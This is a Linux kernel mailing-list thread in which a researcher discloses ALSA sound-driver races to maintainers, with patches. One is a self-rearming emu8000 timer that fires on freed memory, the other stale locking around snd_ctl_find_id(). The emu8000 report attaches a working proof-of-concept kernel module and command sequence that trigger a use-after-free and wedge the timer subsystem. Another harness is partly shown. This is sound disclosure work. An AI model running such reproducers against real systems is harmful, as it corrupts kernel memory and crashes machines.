snd_emu8000_synth sub-driver, mem_size > 0), which is why the
dynamic evidence comes from the labeled replica module rather than
the real pcm.
* Mechanism
- The callback re-arms unconditionally: emu8k_pcm_timer_func()
(emu8000_pcm.c:183-211) under rec->timer_lock runs
mod_timer(&rec->timer, jiffies + 1) at line 200 with no check of
rec->timer_running or rec->running; after unlocking it calls
snd_pcm_period_elapsed(rec->substream) (210).
- The stop path is a plain timer_delete(): stop_voice()
(357-369) takes rec->timer_lock, timer_delete(&rec->timer) and
clears timer_running. timer_delete() only dequeues a timer that
is still pending; a callback that is already executing (or waiting
for the lock) on another CPU is not waited for and will run to
completion afterwards -- re-arming the timer from inside its body.
- The close path frees without cleanup: emu8k_pcm_close()
(246-252) does kfree(rec) directly. Nothing in the pcm core
touches rec->timer either: snd_pcm_free_stream() only handles the
separate internal snd_pcm_timer.
- The escape interleaving: stop_voice() runs while the callback has
already been dequeued for execution on another CPU ->
timer_delete() is a no-op -> the callback then takes the lock,
mod_timer() re-arms (timer_running is now 0 but nothing checks
it), and the timer fires again <=1 jiffy later, forever, unless a
second stop lands exactly in the callback's non-re-arm window --
which the immediately following close() prevents by freeing rec.
- The stop path itself is reachable both from
SNDRV_PCM_IOCTL_DROP/close (snd_pcm_release_substream() ->
snd_pcm_drop() -> snd_pcm_stop() -> snd_pcm_do_stop() invokes
TRIGGER_STOP for RUNNING/DRAINING streams) and from device
disconnect (snd_pcm_dev_disconnect() -> snd_pcm_stop()).
* Trigger model
A user with access to /dev/snd/pcmC*D1p (the audio group on a
desktop install) drives start -> play -> SNDRV_PCM_IOCTL_DROP ->
close on an AWE64-class card whose emu8000 sub-driver has created
the pcm (mem_size > 0). The escape needs trigger-stop to interleave
with the in-flight callback; since the callback runs every jiffy
while playing, repeated start/drop/close cycles sweep the window.
Consequence: use-after-free reads/writes on struct snd_emu8k_pcm and
a mod_timer() on the freed timer_list -- i.e. freed memory chained
back into the kernel timer wheel -- which is memory corruption well
beyond the driver itself.
* Reproducer (attached: fwmr05.c) and results on 7.3
fwmr05.c is a labeled mechanism replica: struct f5rec mirrors
struct snd_emu8k_pcm's audited fields (embedded timer, timer_lock,
state flags), and the three fragments are the audited semantics
1:1 -- the callback body with the unconditional L200 re-arm under
the lock, stop_voice() with the non-sync timer_delete, and a close
that simply kfrees. The real timer subsystem is used so the
freed-timer re-arm manifests in the genuine timer core.
# controlled escape order (the audited interleaving, force-built):
insmod fwmr05.ko
echo 1 > /sys/module/fwmr05/parameters/fw05_open
echo 1 > /sys/module/fwmr05/parameters/fw05_start # runs 2s, real fires
echo 1 > /sys/module/fwmr05/parameters/fw05_stop
echo 1 > /sys/module/fwmr05/parameters/fw05_inflight # verbatim callback body post-stop
echo 1 > /sys/module/fwmr05/parameters/fw05_close # kfree(rec)
# <=1 jiffy later the real timer core runs the callback on freed memory
# natural hammering variant:
echo 1 > /sys/module/fwmr05/parameters/fw05_nat # 300 start/stop/close rounds
Results (7.3, 2 vCPU, KASAN): controlled order -- 3
slab-use-after-free reports in __run_timers+0x20f/0x3af/0x3bb
(ksoftirqd/1; Write of size 8 = the freed timer_list being
dequeued/re-armed by the timer core), then the guest timer subsystem
wedged and the VM stopped progressing. Natural variant: 0 hits in
300 rounds (recorded as the honest negative; the window is the
callback's in-flight span, microseconds, vs. millisecond-scale
rounds).
* Suggested patch
Two-line-shaped fix: honor the stop flag inside the callback and
shut the timer down synchronously before freeing the struct.
The complete patch against 7.3 follows (also kept as
patch/0001-fw-mr05.patch); happy to rework per review.
---- patch begins ----
---
--- a/sound/isa/sb/emu8000_pcm.c
+++ b/sound/isa/sb/emu8000_pcm.c
@@ -196,8 +196,13 @@
rec->period_pos += delta;
rec->last_ptr = ptr;
- /* reprogram timer */
- mod_timer(&rec->timer, jiffies + 1);
+ if (rec->timer_running)
+ mod_timer(&rec->timer, jiffies + 1);
/* update period */
if (rec->period_pos >= (int)rec->period_size) {
@@ -246,6 +251,12 @@
static int emu8k_pcm_close(struct snd_pcm_substream *subs)
{
struct snd_emu8k_pcm *rec = subs->runtime->private_data;
+ timer_shutdown_sync(&rec->timer);
kfree(rec);
subs->runtime->private_data = NULL;
return 0;
---- patch ends ----
Please keep me in Cc; I am not subscribed to the lists.
Regards,
Hanxiang Xu
xuhx@hust.edu.cn
[-- Attachment #2: fwmr05.c --]
[-- Type: text/plain, Size: 8556 bytes --]
// SPDX-License-Identifier: GPL-2.0
/*
* fwmr05.c - mechanism-replica harness for audit case FW-MR-05
* (docs/manual-review-sound-firewire-2026-11-26.md, v4):
*
* "emu8k èªç»è·å®æ¶å¨ä¸æ 忥 timer_delete/close ç«äº ->
* snd_emu8k_pcm UAF ä¸å·²éæ¾ timer_list éæè½½"
*
* The real driver (sound/isa/sb/emu8000_pcm.c) needs AWE64 ISA hardware,
* which QEMU x86 cannot provide. This harness is a MECHANISM REPLICA: the
* three audited code fragments are replicated 1:1 in semantics on a
* lookalike struct, and the REAL kernel timer machinery is used so the
* freed-timer re-arm manifests through the genuine timer subsystem:
*
* f5_timer_func() <- emu8k_pcm_timer_func() (emu8000_pcm.c:183-211)
* scoped_guard(spinlock, &rec->timer_lock) { position update;
* mod_timer(&rec->timer, jiffies + 1); }
* (L200: unconditional self-re-arm, no state check anywhere)
* f5_start_voice() <- start_voice() timer half (emu8000_pcm.c:346-351)
* f5_stop_voice() <- stop_voice() (emu8000_pcm.c:357-369)
* guard(spinlock_irqsave)(&rec->timer_lock) {
* if (rec->timer_running) { timer_delete(&rec->timer);
* rec->timer_running = 0; } }
* f5_close() <- emu8k_pcm_close() (emu8000_pcm.c:246-252)
* kfree(rec); (no timer cleanup of any kind)
*
* Plans (module params):
* fw05_ctl - deterministic "escape order" (the audited Case-3
* interleaving, force-constructed and labeled as such):
* open -> start (timer runs, self-rearms for ~2s of real
* firing) -> stop (timer_delete + running=0) -> inflight
* (run the verbatim callback body once, mimicking the
* already-dequeued callback that re-arms AFTER stop: mod_timer
* re-arms the timer on a rec that stop() believes dead)
* -> close (kfree(rec)) -> <=1 jiffy later the REAL timer
* fires on the freed rec: UAF read of rec->timer_lock/fields
* and re-arm of the freed timer_list.
* fw05_nat - natural hammering: 300 rounds of
* start -> usleep(1-3ms) -> stop -> close, racing the real
* per-jiffy callback (narrow window, honest attempt).
*
* Zero kernel source modification.
*/
#define pr_fmt(fmt) "FWMR05: " fmt
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/timer.h>
#include <linux/kthread.h>
#include <linux/delay.h>
/*
* Lookalike of struct snd_emu8k_pcm (emu8000_pcm.c:44-60): the audited
* fields are laid out identically in role (timer embedded in the struct,
* spinlock guards it, state flags checked by NOBODY in the callback).
*/
struct f5rec {
spinlock_t timer_lock;
struct timer_list timer;
unsigned int timer_running:1;
unsigned int running:1;
int last_ptr;
int period_pos;
int buf_size;
int period_size;
void *substream; /* real driver: snd_pcm_substream */
};
static struct f5rec *rec;
/*
* Verbatim semantics of emu8k_pcm_timer_func() (emu8000_pcm.c:183-211):
* position update under timer_lock, UNCONDITIONAL self-re-arm at L200
* (no timer_running/running check anywhere), period handling, and the
* out-of-lock snd_pcm_period_elapsed(rec->substream) at L210.
*/
static void f5_body(struct f5rec *r)
{
bool elapsed = false;
scoped_guard(spinlock, &r->timer_lock) {
/* emu8k_get_curpos() + delta update analog */
int ptr = r->last_ptr + 1;
int delta = ptr - r->last_ptr;
r->period_pos += delta;
r->last_ptr = ptr;
/* L200: the audited unconditional self-re-arm */
mod_timer(&r->timer, jiffies + 1);
if (r->period_pos >= r->period_size) {
r->period_pos %= r->period_size;
elapsed = true;
}
}
if (elapsed) {
/* L210 analog: snd_pcm_period_elapsed(rec->substream);
* no real pcm in the replica -- the freed-rec read above is
* the KASAN-relevant dereference. */
}
}
static void f5_timer_func(struct timer_list *t)
{
struct f5rec *r = timer_container_of(r, t, timer);
f5_body(r);
}
/* start_voice() timer half (emu8000_pcm.c:346-352), verbatim semantics */
static void f5_start_voice(void)
{
guard(spinlock_irqsave)(&rec->timer_lock);
if (!rec->timer_running) {
mod_timer(&rec->timer, jiffies + 1);
rec->timer_running = 1;
}
}
/* stop_voice() (emu8000_pcm.c:357-369), verbatim semantics:
* timer_delete() without any synchronization for an in-flight callback. */
static void f5_stop_voice(void)
{
guard(spinlock_irqsave)(&rec->timer_lock);
if (rec->timer_running) {
timer_delete(&rec->timer);
rec->timer_running = 0;
}
}
/* emu8k_pcm_close() (emu8000_pcm.c:246-252), verbatim semantics */
static void f5_close(void)
{
pr_info("close: kfree(rec) with no timer cleanup\n");
kfree(rec);
rec = NULL;
}
static int f5_open_set(const char *val, const struct kernel_param *kp)
{
if (rec)
return -EBUSY;
rec = kzalloc(sizeof(*rec), GFP_KERNEL);
if (!rec)
return -ENOMEM;
spin_lock_init(&rec->timer_lock);
timer_setup(&rec->timer, f5_timer_func, 0);
rec->buf_size = 4096;
rec->period_size = 1024;
pr_info("open: rec=%p timer_setup done (emu8k_pcm_open analog)\n", rec);
return 0;
}
static int f5_start_set(const char *val, const struct kernel_param *kp)
{
if (!rec)
return -ENODEV;
rec->running = 1;
f5_start_voice();
pr_info("start: timer armed, will self-re-arm every jiffy\n");
return 0;
}
static int f5_stop_set(const char *val, const struct kernel_param *kp)
{
if (!rec)
return -ENODEV;
rec->running = 0;
f5_stop_voice();
pr_info("stop: timer_delete done, timer_running=0 "
"(no sync for in-flight callback -- audited shape)\n");
return 0;
}
/*
* The audited Case-3 escape interleaving, force-constructed: an already-
* dequeued callback (started before stop() completed) runs its verbatim
* body AFTER stop() and re-arms the timer on a rec the stop path believes
* dead. This is a controlled construction -- it only widens the window,
* the three code fragments are the audited ones verbatim.
*/
static int f5_inflight_set(const char *val, const struct kernel_param *kp)
{
if (!rec)
return -ENODEV;
pr_info("inflight: running verbatim callback body post-stop "
"(case-3 escape construction)\n");
f5_body(rec);
pr_info("inflight: body returned -- timer re-armed on a stopped rec\n");
return 0;
}
static int f5_close_set(const char *val, const struct kernel_param *kp)
{
if (!rec)
return -ENODEV;
f5_close();
pr_info("close done: armed timer on freed rec fires in <=1 jiffy\n");
return 0;
}
/* ---- natural hammering variant ---- */
static unsigned int f5_rounds = 300;
static struct task_struct *f5_thr;
static int f5_nat_fn(void *arg)
{
int n;
for (n = 0; n < f5_rounds && !kthread_should_stop(); n++) {
rec = kzalloc(sizeof(*rec), GFP_KERNEL);
if (!rec)
break;
spin_lock_init(&rec->timer_lock);
timer_setup(&rec->timer, f5_timer_func, 0);
rec->buf_size = 4096;
rec->period_size = 1024;
rec->running = 1;
f5_start_voice();
usleep_range(1000, 3000); /* 1-3 jiffies of real firing */
f5_stop_voice();
f5_close(); /* kfree(rec) */
usleep_range(2000, 4000); /* let a re-armed timer land */
}
pr_info("nat: %d rounds done\n", n);
return 0;
}
static int f5_nat_set(const char *val, const struct kernel_param *kp)
{
f5_thr = kthread_run(f5_nat_fn, NULL, "fwmr05_nat");
return 0;
}
static const struct kernel_param_ops f5_open_ops = { .set = f5_open_set };
static const struct kernel_param_ops f5_start_ops = { .set = f5_start_set };
static const struct kernel_param_ops f5_stop_ops = { .set = f5_stop_set };
static const struct kernel_param_ops f5_inflight_ops = { .set = f5_inflight_set };
static const struct kernel_param_ops f5_close_ops = { .set = f5_close_set };
static const struct kernel_param_ops f5_nat_ops = { .set = f5_nat_set };
module_param_cb(fw05_open, &f5_open_ops, NULL, 0200);
module_param_cb(fw05_start, &f5_start_ops, NULL, 0200);
module_param_cb(fw05_stop, &f5_stop_ops, NULL, 0200);
module_param_cb(fw05_inflight, &f5_inflight_ops, NULL, 0200);
module_param_cb(fw05_close, &f5_close_ops, NULL, 0200);
module_param_cb(fw05_nat, &f5_nat_ops, NULL, 0200);
static int __init fwmr05_init(void)
{
return 0;
}
static void __exit fwmr05_exit(void)
{
if (f5_thr)
kthread_stop(f5_thr);
if (rec) {
timer_delete_sync(&rec->timer);
kfree(rec);
rec = NULL;
}
}
module_init(fwmr05_init);
module_exit(fwmr05_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("FW-MR-05 emu8k timer mechanism-replica harness");
^ permalink raw reply [flat|nested] 101+ messages in thread* Re: ALSA: emu8000: the self-rearming emu8k_pcm timer survives trigger-stop and fires on freed memory after close (UAF)
2026-12-01 4:36 ` ALSA: emu8000: the self-rearming emu8k_pcm timer survives trigger-stop and fires on freed memory after close (UAF) 徐晗翔
@ 2026-12-01 12:01 ` 徐晗翔
0 siblings, 0 replies; 101+ messages in thread
From: 徐晗翔 @ 2026-12-01 12:01 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
Update: still present in 7.4-rc5 -- sound/isa/sb/emu8000_pcm.c is
unchanged, and the same interleaving (trigger-stop racing the
in-flight self-rearming callback, followed by close) immediately
fires the timer on the freed snd_emu8k_pcm (3 KASAN reports in
__run_timers, guest timer subsystem wedged afterwards).
Thanks.
> -----原始邮件-----
> 发件人: 徐晗翔 <xuhx@hust.edu.cn>
> 发送时间:2026-12-01 12:36:24 (星期二)
> 收件人: perex@perex.cz, tiwai@suse.com
> 抄送: linux-sound@vger.kernel.org, linux-kernel@vger.kernel.org
> 主题: ALSA: emu8000: the self-rearming emu8k_pcm timer survives trigger-stop and fires on freed memory after close (UAF)
>
> The Emu8000 playback pcm driver drives its period handling with a
> timer that re-arms itself from inside its own callback: emu8k_pcm_timer_func()
> mod_timer()s itself for the next jiffy unconditionally while holding
> rec->timer_lock (emu8000_pcm.c:200), without checking rec->timer_running
> or rec->running anywhere. The stop path, stop_voice() (trigger STOP,
> emu8000_pcm.c:357-369), only performs a non-synchronizing
> timer_delete() under the same lock, and emu8k_pcm_close()
> (emu8000_pcm.c:246-252) frees the struct with no timer cleanup at all.
> If trigger-stop executes while the per-jiffy callback is already
> dequeued and in flight (it runs once per jiffy while playing), the
> callback re-arms the timer AFTER the stop believes it dead; the
> subsequent close() then kfree()s a struct with an armed timer, and at
> most one jiffy later the timer core executes the callback on the
> freed memory -- reading rec->timer_lock and the position fields and
> re-arming the freed timer_list, which chains the freed object back
> into the timer wheel and corrupts the timer subsystem state.
>
> We verified the mechanism on vanilla 7.3 with a 1:1 replica of the
> three audited fragments (identical lock/flag semantics, the real timer
> machinery) on a lookalike struct, because the real driver needs AWE64
> ISA hardware that a QEMU x86 guest cannot provide; the replica is
> explicitly labeled as such in the attached module. Driving the
> audited interleaving ("stop completes while the callback is already
> dequeued, callback body runs afterwards") hit immediately: three KASAN
> slab-use-after-free reports in __run_timers (ksoftirqd context --
> Write of size 8 on the freed struct, i.e. the freed timer_list being
> dequeued/re-armed by the timer core itself), after which the guest's
> timer subsystem was wedged and the VM stopped making progress -- the
> audited "freed timer_list re-arm corrupts the timer core" consequence,
> demonstrated end to end. Natural hammering (300 start/stop/close
> rounds without any artificial delay) did not hit, as expected for a
> per-jiffy in-flight window of a few microseconds; we report that
> negative honestly. Triggering needs no privileges beyond normal
> device-node permissions (audio group) on an AWE64-class card with
> DRAM; no root, no module removal, no fault injection.
>
> The detailed description:
>
> * Test environment / affected version
>
> Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC
> -- vanilla mainline 7.3 release tarball, KASAN enabled, QEMU/KVM
> x86_64 guest. sound/isa/sb/emu8000_pcm.c is byte-identical to
> mainline 7.3; the fragments below quote its line numbers. The
> driver requires AWE64-class ISA hardware (snd_sbawe + the
> snd_emu8000_synth sub-driver, mem_size > 0), which is why the
> dynamic evidence comes from the labeled replica module rather than
> the real pcm.
>
> * Mechanism
>
> - The callback re-arms unconditionally: emu8k_pcm_timer_func()
> (emu8000_pcm.c:183-211) under rec->timer_lock runs
> mod_timer(&rec->timer, jiffies + 1) at line 200 with no check of
> rec->timer_running or rec->running; after unlocking it calls
> snd_pcm_period_elapsed(rec->substream) (210).
>
> - The stop path is a plain timer_delete(): stop_voice()
> (357-369) takes rec->timer_lock, timer_delete(&rec->timer) and
> clears timer_running. timer_delete() only dequeues a timer that
> is still pending; a callback that is already executing (or waiting
> for the lock) on another CPU is not waited for and will run to
> completion afterwards -- re-arming the timer from inside its body.
>
> - The close path frees without cleanup: emu8k_pcm_close()
> (246-252) does kfree(rec) directly. Nothing in the pcm core
> touches rec->timer either: snd_pcm_free_stream() only handles the
> separate internal snd_pcm_timer.
>
> - The escape interleaving: stop_voice() runs while the callback has
> already been dequeued for execution on another CPU ->
> timer_delete() is a no-op -> the callback then takes the lock,
> mod_timer() re-arms (timer_running is now 0 but nothing checks
> it), and the timer fires again <=1 jiffy later, forever, unless a
> second stop lands exactly in the callback's non-re-arm window --
> which the immediately following close() prevents by freeing rec.
>
> - The stop path itself is reachable both from
> SNDRV_PCM_IOCTL_DROP/close (snd_pcm_release_substream() ->
> snd_pcm_drop() -> snd_pcm_stop() -> snd_pcm_do_stop() invokes
> TRIGGER_STOP for RUNNING/DRAINING streams) and from device
> disconnect (snd_pcm_dev_disconnect() -> snd_pcm_stop()).
>
> * Trigger model
>
> A user with access to /dev/snd/pcmC*D1p (the audio group on a
> desktop install) drives start -> play -> SNDRV_PCM_IOCTL_DROP ->
> close on an AWE64-class card whose emu8000 sub-driver has created
> the pcm (mem_size > 0). The escape needs trigger-stop to interleave
> with the in-flight callback; since the callback runs every jiffy
> while playing, repeated start/drop/close cycles sweep the window.
> Consequence: use-after-free reads/writes on struct snd_emu8k_pcm and
> a mod_timer() on the freed timer_list -- i.e. freed memory chained
> back into the kernel timer wheel -- which is memory corruption well
> beyond the driver itself.
>
> * Reproducer (attached: fwmr05.c) and results on 7.3
>
> fwmr05.c is a labeled mechanism replica: struct f5rec mirrors
> struct snd_emu8k_pcm's audited fields (embedded timer, timer_lock,
> state flags), and the three fragments are the audited semantics
> 1:1 -- the callback body with the unconditional L200 re-arm under
> the lock, stop_voice() with the non-sync timer_delete, and a close
> that simply kfrees. The real timer subsystem is used so the
> freed-timer re-arm manifests in the genuine timer core.
>
> # controlled escape order (the audited interleaving, force-built):
> insmod fwmr05.ko
> echo 1 > /sys/module/fwmr05/parameters/fw05_open
> echo 1 > /sys/module/fwmr05/parameters/fw05_start # runs 2s, real fires
> echo 1 > /sys/module/fwmr05/parameters/fw05_stop
> echo 1 > /sys/module/fwmr05/parameters/fw05_inflight # verbatim callback body post-stop
> echo 1 > /sys/module/fwmr05/parameters/fw05_close # kfree(rec)
> # <=1 jiffy later the real timer core runs the callback on freed memory
> # natural hammering variant:
> echo 1 > /sys/module/fwmr05/parameters/fw05_nat # 300 start/stop/close rounds
>
> Results (7.3, 2 vCPU, KASAN): controlled order -- 3
> slab-use-after-free reports in __run_timers+0x20f/0x3af/0x3bb
> (ksoftirqd/1; Write of size 8 = the freed timer_list being
> dequeued/re-armed by the timer core), then the guest timer subsystem
> wedged and the VM stopped progressing. Natural variant: 0 hits in
> 300 rounds (recorded as the honest negative; the window is the
> callback's in-flight span, microseconds, vs. millisecond-scale
> rounds).
>
> * Suggested patch
>
> Two-line-shaped fix: honor the stop flag inside the callback and
> shut the timer down synchronously before freeing the struct.
> The complete patch against 7.3 follows (also kept as
> patch/0001-fw-mr05.patch); happy to rework per review.
>
> ---- patch begins ----
> ---
> --- a/sound/isa/sb/emu8000_pcm.c
> +++ b/sound/isa/sb/emu8000_pcm.c
> @@ -196,8 +196,13 @@
> rec->period_pos += delta;
> rec->last_ptr = ptr;
>
> - /* reprogram timer */
> - mod_timer(&rec->timer, jiffies + 1);
> + if (rec->timer_running)
> + mod_timer(&rec->timer, jiffies + 1);
>
> /* update period */
> if (rec->period_pos >= (int)rec->period_size) {
> @@ -246,6 +251,12 @@
> static int emu8k_pcm_close(struct snd_pcm_substream *subs)
> {
> struct snd_emu8k_pcm *rec = subs->runtime->private_data;
> + timer_shutdown_sync(&rec->timer);
> kfree(rec);
> subs->runtime->private_data = NULL;
> return 0;
> ---- patch ends ----
>
>
> Please keep me in Cc; I am not subscribed to the lists.
>
> Regards,
> Hanxiang Xu
> xuhx@hust.edu.cn
^ permalink raw reply [flat|nested] 101+ messages in thread
* ALSA: control: find_id()/find_numid() kerneldoc claims they take controls_rwlock internally; the FAST_LOOKUP implementation is a lockless, unreferenced xa_load and several in-tree callers use it unlocked (UAF)
[not found] ` <2026102727-data-sequel-ce41@gregkh>
` (22 preceding siblings ...)
2026-12-01 4:36 ` ALSA: emu8000: the self-rearming emu8k_pcm timer survives trigger-stop and fires on freed memory after close (UAF) 徐晗翔
@ 2026-12-01 4:39 ` 徐晗翔
2026-12-01 12:01 ` 徐晗翔
2026-12-01 4:42 ` ALSA: aoa/i2sbus: unlocked codec_list / dev->pcm check-and-free in i2sbus_detach_codec() can double-free the pcm under concurrent codec detaches (Double free) 徐晗翔
` (17 subsequent siblings)
41 siblings, 1 reply; 101+ messages in thread
From: 徐晗翔 @ 2026-12-01 4:39 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
[-- Attachment #1: Type: text/plain, Size: 8812 bytes --]
With CONFIG_SND_CTL_FAST_LOOKUP, snd_ctl_find_numid() and
snd_ctl_find_id() are, on their fast paths, plain xa_load() calls on
card->ctl_numids / card->ctl_hash that return an unreferenced
struct snd_kcontrol pointer which the callers immediately dereference
(elem_id_matches(), control.c:855). Both kerneldoc blocks still state
"Note that this function takes card->controls_rwlock lock internally"
(control.c:816 and 841) -- that is stale and factually wrong for the
FAST_LOOKUP implementation, which only takes controls_rwlock in its
fallback branch. The removal path frees the object without any grace
period (__snd_ctl_remove() -> remove_hash_entries() -> kfree(),
control.c:588/598/331), so an xa_load that raced a concurrent
xa_erase() dereferences freed memory. The core ioctl paths hold
card->controls_rwsem (read) around their lookups and are safe, but
several in-tree callers use the two functions with no lock at all:
get_available_index() in sound/core/ctljack.c (the dedup loop used by
every jack-kcontrol creation, run from driver probe on an already
registered card), snd_ctl_add_followers() in sound/core/vmaster.c,
find_mixer_ctl() in sound/hda/common/codec.c, and the dedup loop of
snd_usb_mixer_add_list() in sound/usb/mixer.c.
We want to be explicit about what we could and could not demonstrate.
The reader window we probed -- get_available_index() during an HDA
reconfig reprobe -- turns out to be mutually exclusive with a
user-space ELEM_ADD/ELEM_REMOVE writer: snd_hda_lock_devices()
(sound/hda/common/codec.c) refuses the reconfig reset while any
control file is open ("The codec is being used"), and an
open("/dev/snd/controlC0") inside the reset window fails with ENODEV.
We measured both on 7.3 (negative plan attached), so the user-space
writer pairing is structurally closed and no dynamic hit was possible
through it. The remaining reachable writer pairs are driver-side (a
second codec of the same card being reset/unbound, or card teardown),
which a single-codec QEMU guest cannot build. We therefore report
this as a locking-contract defect (wrong kerneldoc, latent
use-after-free, unreferenced pointers escaping into longer-lived
state) rather than as an actively exploitable bug, together with a
patch that restores the contract at the unlocked call sites.
The detailed description:
* Test environment / affected version
Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #3 SMP PREEMPT_DYNAMIC
-- vanilla mainline 7.3 release tarball, KASAN + CONFIG_SND_CTL_FAST_LOOKUP
enabled, QEMU/KVM x86_64 guest with intel-hda + hda-duplex
(CONFIG_SND_HDA_RECONFIG / SND_HDA_GENERIC). sound/core/control.c,
sound/core/ctljack.c, sound/core/vmaster.c, sound/usb/mixer.c are
byte-identical to mainline 7.3; line numbers below are from 7.3.
* Mechanism
- FAST_LOOKUP read path: snd_ctl_find_numid() is
xa_load(&card->ctl_numids, numid) (control.c:825);
snd_ctl_find_id() does xa_load(&card->ctl_hash, hash) followed by
an immediate elem_id_matches(kctl, id) dereference of
kctl->id.{iface,device,subdevice,name,index,count} (control.c:854,
370-379). controls_rwlock is only taken in the collision/fallback
branch (control.c:861).
- Free path has no grace period: __snd_ctl_remove() erases the hash
entries (588) and kfree()s the kcontrol (598 -> 331) directly; the
XArray's internal RCU protects the array walk, not the object
lifetime, so "xa_load returned the pointer" and "kfree() already
ran" can overlap with the reader between load and dereference.
- The window is real code distance, not theory: between the
xa_load() at 854 and elem_id_matches() at 855 the writer can
complete both xa_erase() and kfree().
- Unlocked callers (all verified to hold no controls_rwsem in their
calling context): ctljack.c:41 (get_available_index loop, jack
creation during probe on a registered card), vmaster.c:298
(snd_ctl_add_followers), hda codec.c:1645 (find_mixer_ctl),
usb/mixer.c:592 (snd_usb_mixer_add_list dedup loop).
- Reachability boundary (measured): reconfig-driven readers cannot
run concurrently with any control-file holder because
snd_hda_lock_devices() gates the reset on an empty
card->ctl_files. Driver-side writers (second codec reset/unbind
on the same card; snd_ctl_dev_free() at card teardown) do not have
that coupling and remain reachable.
* Trigger model
Latent defect: needs an unlocked lookup in flight while the same
(or hash-colliding) control is removed concurrently -- realistically
the dual-codec HDA reconfig/unbind pairing, or card teardown. The
consequence of a hit is a use-after-free read in elem_id_matches()
and an unreferenced dangling pointer handed to callers that store it
(e.g. snd_ctl_add_followers() would register a freed follower), plus
wrong dedup decisions from re-used memory. We did not observe a
dynamic hit and are not claiming exploitability; the report is about
the violated contract, the stale documentation and the unlocked
in-tree callers.
* Reproducer (attached: fwmr_test.c) and results on 7.3
The attached mr06storm plan is the writer half (ELEM_ADD/ELEM_REMOVE
of an iface=CARD user control whose name matches an existing jack
control, i.e. same ctl_hash key). The measured negative: the
reconfig loop's reset is rejected ("being used") once the storm
holds controlC0, and open(controlC0) inside the reset window returns
ENODEV -- the pairing cannot be built from user space (log excerpt
attached). The dual-codec pairing needs hardware/guest topologies
we could not assemble.
* Suggested patch
Restore the documented contract at the unlocked call sites and fix
the documentation: both kerneldoc blocks now state the truth (the
returned pointer is unreferenced, FAST_LOOKUP is an unlocked
xa_load, callers must hold controls_rwsem or protect the object),
and the three straightforwardly wrappable callers
(ctljack.c get_available_index(), vmaster.c snd_ctl_add_followers(),
usb/mixer.c snd_usb_mixer_add_list() -- the latter releases the read
lock before snd_ctl_add() takes the write lock) hold
controls_rwsem read for their lookup sections. find_mixer_ctl() in
the HDA code was deliberately left out pending an audit of its
callers, several of which are reachable in contexts we could not all
verify. A deeper fix (kfree_rcu for kcontrols + RCU read sections)
is worth discussing but touches the release path of every control
type, so it is out of scope for this first patch. The complete
patch against 7.3 follows (also kept as patch/0001-fw-mr06.patch).
---- patch begins ----
---
--- a/sound/core/control.c
+++ b/sound/core/control.c
@@ -813,7 +813,11 @@
*
* Return: The pointer of the instance if found, or %NULL if not.
*
* Note that this function takes card->controls_rwlock lock internally.
*/
struct snd_kcontrol *snd_ctl_find_numid(struct snd_card *card,
unsigned int numid)
@@ -838,7 +842,11 @@
*
* Return: The pointer of the instance if found, or %NULL if not.
*
* Note that this function takes card->controls_rwlock lock internally.
*/
struct snd_kcontrol *snd_ctl_find_id(struct snd_card *card,
const struct snd_ctl_elem_id *id)
--- a/sound/core/ctljack.c
+++ b/sound/core/ctljack.c
@@ -38,6 +38,13 @@
sid.iface = SNDRV_CTL_ELEM_IFACE_CARD;
strscpy(sid.name, name, sizeof(sid.name));
+ guard(rwsem_read)(&card->controls_rwsem);
while (snd_ctl_find_id(card, &sid)) {
sid.index++;
/* reset numid; otherwise snd_ctl_find_id() hits this again */
--- a/sound/core/vmaster.c
+++ b/sound/core/vmaster.c
@@ -295,7 +295,10 @@
int err;
for (; *list; list++) {
- follower = snd_ctl_find_id_mixer(card, *list);
+ /* find_id_mixer() returns an unreferenced pointer; protect
+ * the lookup against concurrent removals */
+ scoped_guard(rwsem_read, &card->controls_rwsem)
+ follower = snd_ctl_find_id_mixer(card, *list);
if (follower) {
err = snd_ctl_add_follower(master, follower);
if (err < 0)
--- a/sound/usb/mixer.c
+++ b/sound/usb/mixer.c
@@ -589,8 +589,13 @@
struct usb_mixer_interface *mixer = list->mixer;
int err;
- while (snd_ctl_find_id(mixer->chip->card, &kctl->id))
- kctl->id.index++;
+ /* snd_ctl_find_id() returns an unreferenced pointer; hold the read
+ * lock for the dedup loop only (snd_ctl_add() takes the write
+ * lock itself) */
+ scoped_guard(rwsem_read, &mixer->chip->card->controls_rwsem) {
+ while (snd_ctl_find_id(mixer->chip->card, &kctl->id))
+ kctl->id.index++;
+ }
err = snd_ctl_add(mixer->chip->card, kctl);
if (err < 0) {
usb_audio_dbg(mixer->chip, "cannot add control (err = %d)\n",
---- patch ends ----
Please keep me in Cc; I am not subscribed to the lists.
Regards,
Hanxiang Xu
xuhx@hust.edu.cn
[-- Attachment #2: fwmr_test.c --]
[-- Type: text/plain, Size: 11633 bytes --]
// SPDX-License-Identifier: GPL-2.0
/*
* fwmr_test.c - userspace driver for the sound/firewire FW-MR-* race
* verification harnesses (docs/manual-review-sound-firewire-2026-11-26.md).
*
* Plans:
* mr02hold [secs] - FW-MR-02 deterministic release-path variant: open
* /dev/snd/hwC0D0 (real snd_hwdep_open, used=1), read
* once, HOLD the fd across the kernel-side
* snd_emux_free() (host script triggers it), then
* ioctl + close on the freed hwdep -> real
* snd_hwdep_release() derefs freed hw (hw->card->module,
* mutex_lock(&hw->open_mutex), hw->used--).
* mr02hammer [iters] - FW-MR-02 in-flight variant (same shape as the
* synth report's mr03, re-attributed): open + ioctl
* hammer while the free runs on the other side.
* mr03midi [secs] - FW-MR-03: poll for /dev/snd/midiC0D0, open
* O_WRONLY|O_NONBLOCK (real snd_rawmidi_open ->
* snd_virmidi_output_open INIT_WORK), write MIDI bytes
* (real snd_rawmidi_output_trigger -> queue_work
* system_highpri_wq), HOLD across fw3_free, write
* again (in-flight work + write path on freed rmidi),
* close (snd_rawmidi_release on freed rmidi).
* mr04pcm [secs] - FW-MR-04: poll for /dev/snd/pcmC1D0p, open (real
* snd_pcm_open, ref_count=1), hammer
* SNDRV_PCM_IOCTL_PVERSION/PINFO, HOLD across fw4_free
* (snd_device_free(card, pcm)), ioctl + close on the
* freed substream/pcm (real snd_pcm_release path).
* mr01read [secs] - FW-MR-01 reader side: hammer
